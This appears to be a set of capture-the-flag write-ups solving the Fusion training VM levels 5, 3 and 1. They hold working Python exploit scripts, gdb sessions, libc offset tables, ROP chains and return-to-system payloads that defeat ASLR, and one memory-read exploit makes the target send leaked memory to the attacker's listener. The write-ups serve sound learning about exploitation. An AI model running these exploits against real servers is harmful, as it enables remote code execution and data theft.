Fusion 5 Part 2

A short recap

We are working on a server with ASLR and PIE. The server do not fork for every new connection, Our solution must be reliable and cannot crash the server.  Last time We wrote a client for this server, found 2 buffer overflows, one of them was actually usable. We control the values of ebp, esi, edi and eip. And of course we control the stack.

Our Plan:

  1. Find a buffer overflow
  2. Find a memory read primitive
  3. Find a memory write primitive
  4. Find libc
  5. Find a stack/heap buffer we control

Lets look at that buffer overflow again, I want to see what we are overflowing with our overflow. So I place a breakpoint on get_and_hash and print the saved registers we overflow.

Breakpoint 2, get_and_hash (maxsz=0, string=0xb7805380 "\203\354\034\213D$ \213\220\224\003", 
 separator=-1217833557) at level05/level05.c:115
115 level05/level05.c: No such file or directory.
 in level05/level05.c
1: x/5i $eip
=> 0xb7803720 <get_and_hash>: push ebp
 0xb7803721 <get_and_hash+1>: xor eax,eax
 0xb7803723 <get_and_hash+3>: push edi
 0xb7803724 <get_and_hash+4>: push esi
 0xb7803725 <get_and_hash+5>: sub esp,0x2c
(gdb) x/s $ebp
0xb78037c0 <checkname>: "\203\354\034\211t$\024\213t$ \211\\$\020\350\223\364\377\377\201\303H9"
(gdb) x/s $esi
0xb8a0c850: "\004"
(gdb) x/s $edi
0xb8a0c860: 'a' <repeats 50 times>

hmm, $edi point to our buffer (The name we use for checkname). Lets look on the function checkname that calls get_and_hash

Can you explain what $edi is used for?

Edi contains the address of our buffer as we have seen, and it is passed as a parameter to the function get_and_hash on the stack. It is also used as the parameter for the %s in the call to the function fdprintf. The compiler assumes the value of $edi is not changed by the function get_and_hash. And that it can assume that the same value in $edi at the beginning of the function get_and_hash will stay there at the end of it. It assumes it because of something called a “calling convention” basically it is convention on what what register a called function may change, what registers it may not change and where do you pass the function arguments and return value from the function.

Because $edi is a callee saved register, the calle function (get_and_hash) had to save it on the stack and pop it back out before returning to the caller function. Because it was on the stack we could change its value.

The fact that we can control the value of $edi, means that we can read any address we want in the memory space. As long as we know that the address is mapped and that our program will not crash on reading it 🙂 I will call it memory read primitive 🙂

What’s next?

It is import to know that right now this read primitive is useless. As long as we don’t know what we would like to read. If we try to read an unmapped address The server will crash.

I gave it hard and long thought for a few days, and I figure out that as long as ASLR and PIE are active, I can’t do anything much. I think about trying a partial overflow of return address (only changing the lower byte of the return address), It is possible. And it will allow me to return into any address withing the 256 bytes range of the original return address of this function. I couldn’t find any useful address in this range. I could overflow 2 lower bytes of the return address which would allow me 256^2 possible return address to search for. But, ASLR and PIE both works in a resolution of a memory page. (In This platform the size of a memory page is 0x1000 bytes. In newer Iphones for example it’s 0x4000 bytes). Anyway, I can’t overflow 1.5 bytes and when I overflow 2 bytes I might hit an unmapped address and cause a crash.

I keep thinking about it for a few more days, And couldn’t find any new directions to look at. I try to play with the client a little bit and then

An unexpected breakthrough

After sending this command:

print send_checkname_command(s, "a" * 10)

I get this output:

$ python fusion5.py 
** welcome to level05 **
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa is not indexed already

Something is off here. I can swear that there are more than 10 a’s in the output. I try it with 10 b’s and I get:

bbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaa is not indexed already

It takes me some time and some more playing with the program but I conclude that one of the buffers that the program is using is not being zeroed before usages. I use my gdb powerz, and figure out that inside the function childtask the buffer “char buffer[512]” is not being zeroed before usage , and we might be able to read whatever garbage is on the stack immediately after the name we input (Until we encounter a ‘\0’). This is where I start a few long days of trying to figure out what is on this stack and where. If we can cause this bug to output any useful address, this kind of bug is called an info-leak

Triggering the info-leak

The first thing I do is connect with a debugger and try to figure out if there is anything useful on the stack when this function is being called.

1: x/2i $eip
=> 0xb77ade4e <childtask+478>: call 0xb77ad7f0 <__strdup@plt>
 0xb77ade53 <childtask+483>: mov DWORD PTR [esi+0x4],eax

(gdb) x/32bx *(int*) $esp
0xb7bb75ca: 0x62 0x62 0x62 0x62 0x62 0x62 0x62 0x62
0xb7bb75d2: 0x62 0x62 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75da: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xb7bb75e2: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

We don’t see anything useful after our 10 b’s. (0x62 is ‘b’)

My next thought is that maybe after I will use the program with some other features of the server, this stack buffer are will be filled and then I will be able to access some data on it. (Impossible if you think about it, the “char buffer[512]” from the function childtask can not be affected by function that childtask is calling. ) The only hope is that It can be affected by something that happens before the function childtask is started.

We need to think of some kind of weird behavior that can cause us to get a different stack (or the same Stack after it has been filled with data). I guess the most obvious idea is to try to keep a few connections working in the same time.  Unfortunately this server will not handle our second request while the first task is waiting for input. And this is exactly the difference between tasks and threads. We don’t have a scheduler to simulate execution of both tasks in the same time. The second task will not run until the “main” (= childtask) of the returns.

I write the following functions:

def try_to_leak_data(length): 
  s = setup_session() 
  s.recv(100) 
 
  data = send_checkname_command(s, "A" * length) 
  data = data[length:] 
  data = data[:-len(" is not indexed already.")] 
 
  return data 
 
def search_for_data_leak(length, retries): 
  leaked_data = None 
  for i in range(retries): 
    data = try_to_leak_data(length) 
    if len(data) &gt;= 4: 
      print i, data.encode("hex") 
      leaked_data = data[:4] 
      break 
  return leaked_data 
 
def main(): 
  print hex(buffer_to_address(search_for_data_leak(10,100))) 

I run it a few times. Sometimes it works giving me an output like this:

$ python ./fusion5.py 
15 38747eb723
0xb77e7438

Notice that 15 is the number of iterations needed to get this data (out of maximum 100 tries). After it worked once. the second time I run it I get the same output but in iteration number 0. And after I kill the server and restart it sometimes I can’t leak any info from it.

anyway let’s explore this address I can sometimes leak from the server:

(gdb) x/1wx 0xb77e7438
0xb77e7438 <main_arena+56>: 0xb93b9598

With “info proc map”, in gdb I confirm that this address is in libc!

After some more restarting the server and running my script I find out that I can get this address in libc about 1/3 of the times

Finding libc

Of course 1/3 of the times is not good enough. I keep trying different lengths for the buffer I send (Essentially searching on the stack in different offsets) . And after some more trial and error I find out that if I will try to length 2, 6, 10 I will always get an address by doing it.

The thing is, I get different addresses every time I restart the server. (And cause ASLR to randomize the address space). Remember how I said ASLR only works at the resolution of a memory page? I wasn’t kidding about it 🙂 Anyway, I figured out that every time I get an address that ends with 0x438, I can subtract 0x179438. and get the load address of libc. In the same way I mapped about 10 different offsets withing pages of address I got while running and restating the server. For each of these I mapped the right offset of it from libc. It is worth mentioning that some of the time I got an offset inside ld. It took me a lot of trials of exploiting the bug with the address of libc until I tested it and saw that libc is in a constants offset from ld (At least in the target VM). I ended with this function:

POSSIBLE_LEAKS_DICT = { 
  0x6ec: 0x96ec + 0x189000, 
  0x13d: 0x913d + 0x189000, 
  0xff4: 0x1eff4 + 0x189000, 
 
  0xbc8: 0x187bc8, 
  0x8d8: 0x1878d8, 
 
  0xf30: 0xcf30, 
  0x430: 0x179430, 
  0x438: 0x179438, 
} 
 
def find_libc(): 
  libc_addr = None 
  for l in [2, 6, 10]: 
    print l 
    data = search_for_data_leak(l, 10) 
    if (data is not None) and data != "AAAA": 
      addr = struct.unpack("I", data)[0] 
      print l, hex(addr) 
      lsb = addr &amp; 0xFFF 
      if lsb in POSSIBLE_LEAKS_DICT: 
        libc_addr = addr - POSSIBLE_LEAKS_DICT[lsb] 
  return libc_addr 

This function seems to find libc on every try. And it seems like a good place to stop. So to recap, we found an absolute memory read, and we found libc. Next time we will see how we can exploit these bugs. See you next time 🙂

Fusion 3

Hello boyz and girlz. Today I will solve fusion 3. But I must go play Sattelers of Catan with friends later so let’s make it quick 😀

There is an old saying that goes something like: “Fast is slow, slow is fast, do it once and do it right.” So we will try to work in baby steps in order to finish this post and exploit fast… btw remember it next time you play an escape room.

First thing we do is go and read the code of Fusion-3. Take as much time as we need to understand what it should do..

Here is what I understood:

  1. It is some kind of web server.
  2. It allows us to post articles after authentication.
  3. Every connection is forked and therefore has the same address space of the parent process. Which means infinite number of times we can crash the program in our solution.

Game plan:

  1. Read the code and find the vulnerability.
  2. Write a working client for this server.
  3. Find the address of libc
  4. Use the legitimate code flow to store a string in one of the 2 globals that can store strings (gContents or gTitle)
  5. Call system on this string
  6. Win this game of Catan with friends

* I read the code again and we can’t do it. These globals are just pointers, the actual strings will be malloced I would have to deference them to make it work. Let’s find libc and then decide how to continue

Crashing the program

To find the vulnerability I search for ‘[‘ in the code, because I am looking for arrays. Specifically looking for bugs in handling of arrays. Pretty fast I understand that the arrays I can work with are either title or content in the function handle_request, and that the bug must be in decode string.

If you look carefully at the loop in the function. If somehow we manage to increase dest so that dest > end when the condition is tested we get can overflow the buffer and stop at /0. I bealive that we found an overflow. But we will have to test it.

Consider the loop condition

Our next job is to write a working client…

Because the program do not print it’s errors, I connect with ssh to the VM that runs the machine, and using gdb  I place a breakpoint on the function errx, every time my client fails I try to understand why.

Basically we need to send a request that looks like this:

// TOKEN
{
json
}

But the request must also match a certain hash function. The first 2 bytes of the hmac-sha1 hash of the entire request must be 0. I do it by adding a comment at the end of the request and brute forcing values. I work on my client until I get the error message “Unable to parse request”, fair error for a request of “a”* 128 :D. Anyway it means that my request passed the hash test. Which is what I was going for. I change the json body to something that should trigger the function decode_string, make sure it triggers decode_string with a debugger. and then save it up as a working client.

#! /usr/bin/env python 
import socket 
from hashlib import sha1 
from string import ascii_letters 
import hmac 
import random 
 
PORT = 20003 
HOST = "VM" 
 
def create_a_session(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  # The token is sent to us with \" before and after 
  token = s.recv(1000)[1:-2] 
  return s, token 
 
def find_working_placeholder_for_mac(token, request): 
  request = request + "\n //" 
  expected_len = len(request) + 6 
  # WTF?!? what kind of stupid bug is this? 
  # request must be in even length 
  if (expected_len % 2) != 0: 
    request += " " 
 
  while True: 
    word = ''.join(random.sample(ascii_letters, 6)) 
    new_request = "%s%s" % (request, word) 
    hashed = hmac.new(token, new_request, sha1) 
    hex_digest = hashed.hexdigest() 
    if(hex_digest.startswith("0" * 4)): 
      print "found a placeholder for the digest, len = %x token_len = %x" %(len(new_request), len(token))
      return new_request 
 
def send_a_request(s, token, json): 
  request = "{token} \n {json}".format(token = token, json = json) 
  new_request = find_working_placeholder_for_mac(token, request) 
  s.send(new_request)

def main(): 
  s, token = create_a_session() 
  send_a_request(s, token, "{\"title\" : \"Rick and Morty\"}") 
  print s.recv(1000) 
 
if __name__ == "__main__": 
  main() 

I write the code to overflow the buffer in decode_string. I chose the title buffer because it’s the first variable in the function which means It should be closest to the return address of the function. I had some small bugs in my code  my code is perfect on the first try!

I get to this point:

(gdb) info registers 
eax            0xffffffff       -1
ecx            0xb75a2398       -1218829416
edx            0xffffffff       -1
ebx            0x62626262       1650614882
esp            0xbff2fc70       0xbff2fc70
ebp            0x62626262       0x62626262
esi            0x62626262       1650614882
edi            0x62626262       1650614882
eip            0x62626262       0x62626262
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

As you can see I control most registers. I save the client script and start working on the exploit itself 🙂

def build_json_tag(tag, value): 
  return "\"{}\" : \"{}\"".format(tag, value) 
 
def build_overflowed_title(payload): 
  data = "a" * 127 
 
  # The 128th byte is not an overflowed byte yet. 
  # The 16 bytes are local vars and stuff that dosn't matter. 
  # They are being written before being read.
  payload = "\x00" + "a" * 16 + payload 
  for i in xrange(len(payload)/2): 
    byte1 = ord(payload[i * 2]) 
    byte2 = ord(payload[i * 2 + 1]) 
    data += "\\\\u%.4x" %(byte1 * 0x100 + byte2, ) 
 
  # adding bytes with /u adds 2 bytes at a time. 
  if (len(payload) % 2 == 1) and ord(payload[-1]) == 0: 
  raise "last byte of even length payload must not be zero" 
 
  if (len(payload) % 2 == 1): 
    data += payload[-1] 
 
  if "\x00" in data: 
    raise "bug in code, \x00 should be encoded by now." 
 
  return build_json_tag("title", data) 
 
 
def main(): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  json = "{%s}" % (build_overflowed_title("b" * 20), ) 
  send_a_request(s, token, json) 

leaking the info

Now we need to figure out what can we do with it… excuse me. I meant to say: Now we need to figure out how do we find libc with what we have. On a personal note, this is the part I like the most in this kind of work. Because it is like solving a giant complicated Sudoku puzzle.

Well the trick with printing stuff we did in fusion 2  will not work here. The reason it won’t work is that the program closed stdin, stdout and stderror. So we will not get any output from printing them.

What can we do? We can use any function in the import table of the main binary. And we can use any function inside the binary (Because this is not compiled as Position Independent code), the load address of the binary is static. And we can use any constant we need as a function argument.

This is pretty much all of the external functions we can use. Take your time and try to think if you know how can we get the address of libc.

After thinking about it I figured out we can build an absolute read primitive from what we have by doing this:

  1. Pass serverip as our ip address,
  2. Pass a contents with whatever length we want to read. Just to set gContents_len with the length of the data we want to read.
  3. Rop into memcpy(gContents, address_to_read, 4) and then post_blog_article. This will cause the program to copy from whatever address we want into the global gContent, and then read from this address and send it to our IP address in HTTP format! We will read the address of a function in .got.plt and will calculate the offset of libc.

I code this up and it works! Now we have the address of libc and we can read any address we would like in the program’s address space. Just needs to find the address of a buffer we control

def get_local_ip(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
  s.connect(("VM", 0)) # connecting to a UDP address doesn't send packets 
  return s.getsockname()[0] 
 
def recive_data_on_tcp_port(port): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
  s.bind(("", port)) 
  s.listen(1) 
  conn, address = s.accept() 
  data = conn.recv(1024) 
  conn.close() 
  s.close() 
  return data 
 
def ropchain_to_payload(rop_chain): 
  payload = "" 
  for number in rop_chain: 
    payload += struct.pack("I", number) 
  return payload 

def memory_read(address, length): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  0x8048e60, #memcpy 
  0x8049205, #3 pops and return(return address for memcpy) 
  0x804bdf4, #gContent (1st param for memcpy) 
  address , #dest for memcpy 
  0x0000004, #length for memcpy 
  
  0x8049f20, #post_blog_artical(second function call) 
  
  0x8048f80, # exit (third function call) 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * length) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  return response 
 
def get_libc_address(): 
  # address of open in .got.plt 
  address_of_open = struct.unpack("I", memory_read(0x8048c32, 4))[0] 
  return address_of_open - 0xc0b60 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  print hex(struct.unpack("I", memory_read(0x804be04, 4))[0]) 

 

Hammm now that I can memory read whatever I want*, we need to figure out how to use it to get the address of a buffer we can control. Well I can do the rop-exploition-with-adddress-of-libc-only. But I am keeping this ace for some later exercise in this series.  And besides, I am feeling adventurous.

* If you think about it, we don’t exactly have the ability to read wherever we want yet, we have a memory read primitive that recives a pointer to a pointer to the data we want to read, (instead of a pointer to that data). Which is not ideal. But for now it will do because we know a place which has a pointer to a pointer to imported functions and we can find libc with it..

Some more primitives in libc

My first thought was I must be able to somehow read the address of a heap data structure to predict the next(actually previous) heap allocation – This program relies heavily on heap allocations and I am sure I can find one of my buffers on the heap. The problem with it is that my memory read requires 2 level of pointing, kind of like calling printf(“%x”, *pointer_to_pointer_to_data). Which is kind of lame… I Couldn’t find this pointer to pointer to my address I was looking for. And besides, I want to practice my ropping skills..

After running ropgadget on libc I found the following 3 gadgets (short sequence of opcodes):

1: 
Push $esp
Jmp $esi

2:
Pop $ecx
Pop $edx
Ret

3:
Xchg [$edx], $ecx
Ret

We will run them in the order they are written in. But let’s consider them backwards to understand what they are doing.

Number 3, allows us to write whatever we want wherever we want, (As long as we control $edx and $ecx).

Number 2, lets us control $edx and $ecx. We can write whatever we want where ever we want (yay!).

Number 1, allows us to use the stack pointer as a part of our rop by pushing it and jumping to an address (as opposed to pushing it and returning into it.)

This allows me to write the address of $esp into anywhere I want. What If I will write it into gContents? When the program will try to print gContents it will print the contents of the stack instead!

I wrote it and it works. After getting the address of the stack, by reading the stack and searching for a pointer to a stack variable on it, I found one with constant distance from a buffer on the stack I control, (char title[128]). Wrote the simple POC exploit we all love: return into system(“touch /tmp/a”)

def get_stack_address(libc_address): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  esi = struct.pack("I", libc_address + 0x0002da2b) 
  payload = "b" * 4 + esi +"c" * 8 
  rop_chain = [ 
  libc_address + 0x0015ffc9, 
  
  # after the first gadget, esp will be there. 
  0x804bdf4, # gContents 
  
  libc_address + 0x001633a0, 
 
  0x8049f20, 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload) 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
  # the line of contents is line number 6. 
  response = recive_data_on_tcp_port(1337).splitlines()[6] 
  address_on_stack = struct.unpack("I", response[20:24])[0] 
 
  # This stack address we find is exectly 204 bytes away from the address of 
  # title. 
  return address_on_stack - 204 

def exploit(libc_address, address_of_title): 
  s, token = create_a_session() 
 
  # order of registers we control: ebx, esi, edi, ebp, eip 
  payload = "b" * 16 
  rop_chain = [ 
  libc_address + 0x3cb20, #adddres of system 
  libc_address + 0x329e0, #adddres of exit, return address for printf 
  address_of_title # buffer for system 
  ] 
  payload += ropchain_to_payload(rop_chain) 
  title = build_overflowed_title(payload, "touch /tmp/a; ") 
  ip = build_json_tag("serverip", get_local_ip() + ":1337") 
  contents = build_json_tag("contents", "a" * 300) 
  json = "{%s, %s, %s}" % (ip, contents, title) 
  send_a_request(s, token, json) 
  s.close() 
 
def main(): 
  libc_address = get_libc_address() 
  print "address of libc is : ", hex(libc_address) 
  address_of_title = get_stack_address(libc_address) 
  exploit(libc_address, address_of_title)

 

btw, I won that game. Always invest in production when playing Catan!

 

Fusion 1

Ok, so we are done with Fusion0. And now to Fusion1, conveniently The source code for Fusion1 is the same as the code for Fusion0, the only new thing is that now we have an active ASLR (Address space layout randomization)  that we need to break.

Lets start with the code from Fusion 0, If you do not understand it please go back to Fusion 0 🙂

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab1f 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0xbf879cee 
 BASH_LINE = "touch /tmp/a; " 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
   print "Sending:\"%s\"" % (c, ) 
   s.send(c, len(c)) 
   print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main() 

Game plan:

  1. Make sure our solution for fusion0 still works when we know the address.
  2. Think about how to “know” the address

First let’s understand on what addresses our solution of fusion-0. From reading our script, its clear that we relay on “ADDRESS_OF_SYSTEM”, “ADDRESS_OF_EXIT”, and “ADDRESS_OF_BASH_LINE”.

Now let’s see what addresses changed between different runs of the program, we must remember that the server is written as fork server which means that we have one parent server process running and the parent is being “cloned” (actually forked) for each request. Now each of those “clones” (we will call them children) has the same address layout of the parent. It means that in order to test what gets shuffled with ASLR we must use kill the parent program. And restart it:

Connect with gdb to the process, (ASLR is off by default for processes started with gdb).

(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01 
0xb772d000 0xb78a3000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb78b6000 0xb78d4000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so  
0xbf8ac000 0xbf8cd000    0x21000          0           [stack]  

In Bash:
sudo killall -9 level01 
/opt/fusion/bin/level01

Connect again with gdb:
(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01
0xb758a000 0xb7700000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb7713000 0xb7731000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so 
0xbf860000 0xbf881000    0x21000          0           [stack]

Comparing these 2 outputs, we can clearly see that libc, ld, and the stack moved, but the main binary is loaded to the same address. Well, this is good! We can use any address in the main exec and assume it will not move between instances of the server program.

Unfortently, “ADDRESS_OF_SYSTEM” is in libc which moves. And “ADDRESS_OF_BASH_LINE” was on the stack which also moves. So If we want this exploit work and bypass ASLR, we need to find a reliable way to find the address of libc and the stack.  

In order to understand what I am working with, i place a breakpoint in gdb right when the function fix_path should return, run my exploit script from the fusion0, and lets see what happens.

(gdb) info registers 
eax            0x1      1
ecx            0xb772c8d0       -1217214256
edx            0xbf8ca628       -1081301464
ebx            0xb78a4ff4       -1215672332
esp            0xbf8ca61c       0xbf8ca61c
ebp            0x61616161       0x61616161
esi            0xbf8ca6dd       -1081301283
edi            0x8049ed1        134520529
eip            0x8049854        0x8049854 <fix_path+63>

I than reference all of the registers to see if any of them points into a buffer I can control:

(gdb) x/s $eax
0x1:     <Address 0x1 out of bounds>
(gdb) x/s $ebx                                                                                                                   
0xb78a4ff4:      "|}\027"
(gdb) x/s $ecx                                                                                                                   
0xb772c8d0:      "\320\310r\267h\315r\267\320\310r\267"
(gdb) x/s $edx                                                                                                                   
0xbf8ca628:      ""
(gdb) x/s $esi
0xbf8ca6dd:      " touch /tmp/a; ..."
(gdb) x/s $edi                                                                                                                   
0x8049ed1:       ""

Remember how I used distinguishable patterns (Like a long list of ‘a’s ) now its helps us immediately “see” what happens(0x61616161 == “aaaa”). Cool, we control ebp and the value esi is pointing into. Now lets see what we can do with it.

lets see what happens right after fix_path

We can see that printf is being called with the address of the parameter that is represented by “%s” being saved on  ebp. If we will change ebp so that it will point into an address we want to read, we will probably get the content of that address as the value of the %s in “trying to access %s”

Let’s assume I could read wherever I want in the address space of the program, what would I read to understand the ASLR offsets? That’s right, we would read the .got.plt.

The .got.plt is a table of every imported function (and variable) in a binary. Think of the import table if you are more of a windows guy. When the loader loads the process to memory, it writes the addresses of all of the imported functions into the import table. This way the compiled binary can access the imported functions without knowing where the imported dlls (or so files) are in memory.

The index for the table is the constant for the binary, and the value in that index is set in runtime to point to the every function.

We will read the address of a function in libc, and then find all of the functions we need relative to it.

(gdb) x/wx 0x0804b3cc
0x804b3cc <read@got.plt>:       0xb77ee240

We write the code to do it, but nothing happens…

After some debugging I understand that we also overflow the first byte of the return address.

The reason it happens is that the string we are copying is null terminated. To solve it, i will also copy the original return address over itself.

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
  file_path = "/" 
  pattern = "GET %s%s%s HTTP/1.1 " 
  padding_length = 135 
  padding = "a" * padding_length + struct.pack("I", ebp) 
  BASH_LINE = "touch /tmp/a; " 
  return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
  address_to_read = 0x8048a32 
  fix_path_return_address = struct.pack("I", 0x8049959) 
  commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
  return commands 
 
def main(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  commands = get_address_of_libc() 
  for c in commands: 
    print "Sending:\"%s\"" % (c, ) 
    s.send(c, len(c)) 
    print "Reciving:\"%s\"" % (s.recv(1000), ) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
  main() 

We run it and get:

Reciving:"trying to access `�F@+z� `t�v���`��x�w���|��� ��

                                                          ����|���

See this weird blob of chars in the output? this is what happens when you try to print unprintable chars, we need to encode them as hex in order to be able to read this binary buffer. After some more playing with the script, we have a script that returns the address of libc. 

The function system is in constant offset from the load address of libc. (Constant per version of libc. but we assume that all the binaries on the server remains the same, or else it would be impossible to do anything). Now we have the address of system. Lets figure out how we can pass parameters to it.

Passing a parameter

I opened libc in ida and looked for the function system. Here is what I saw:

The first opcode is saving of stack space for the local variable of the function.

Second opcode is saving the current value of esi

Third opcode copies the parameter to the function into esi. If we will “enter” the function in the 4th opcode, we can pass paramter on esi – which is the only register we control. What a lucy break!

Everything that has changed from fusion 0’s exploit is in red. This time because the address of our parameter is in ESI, we don’t pass it on the stack. We do have to “make room” for 4 parameters that the function defines (instead of the opcode sub esp, 0x10) that we don’t run.

I quickly finish coding it, and try it.

 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 135 
 padding = "a" * padding_length + struct.pack("I", ebp) 
 BASH_LINE = "touch /tmp/a; " 
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 address_to_read = 0x8048a32 
 fix_path_return_address = struct.pack("I", 0x8049959) 
 commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 data = s.recv(1000) 
 address = data.split(" ")[3] 
 address = address[:4] 
 print address 
 address = struct.unpack("I", address)[0] 
 # This is the offset of open inside the version of libc that we are using. 
 address -= 0xc0b60 
 return address 
 
def exploit(address_of_libc): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 
 # This is the 4th opcode in system, as explained in the blog. 
 address_of_system = struct.pack("I", 0x3cb2b + address_of_libc) 
 address_of_exit = struct.pack("I", 0x329e0 + address_of_libc) 
 payload = address_of_system + "b"*0x10 + address_of_exit 
 commands = basic_overflow_commands(0x13371337, payload) 
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
 
def main(): 
 address_of_libc = get_address_of_libc() 
 print "libc is at %x" %(address_of_libc, ) 
 exploit(address_of_libc) 
 
if __name__ == "__main__": 
 main() 
$ python fusion1.py 
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa>Y HTTP/1.1 touch /tmp/a; "
`�
libc is at b772d000
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa77+�v�bbbbbbbbbbbbbbbbu� HTTP/1.1 touch /tmp/a; "
Reciving:"touch: "
Reciving:"cannot touch `/tmp/a'"

Sure enough after deleting the file /tmp/a that was created by a different use on the machine, I run the script again and this time it worked!

If you have any questions or feedback I would love to hear from you in the comments below 🙂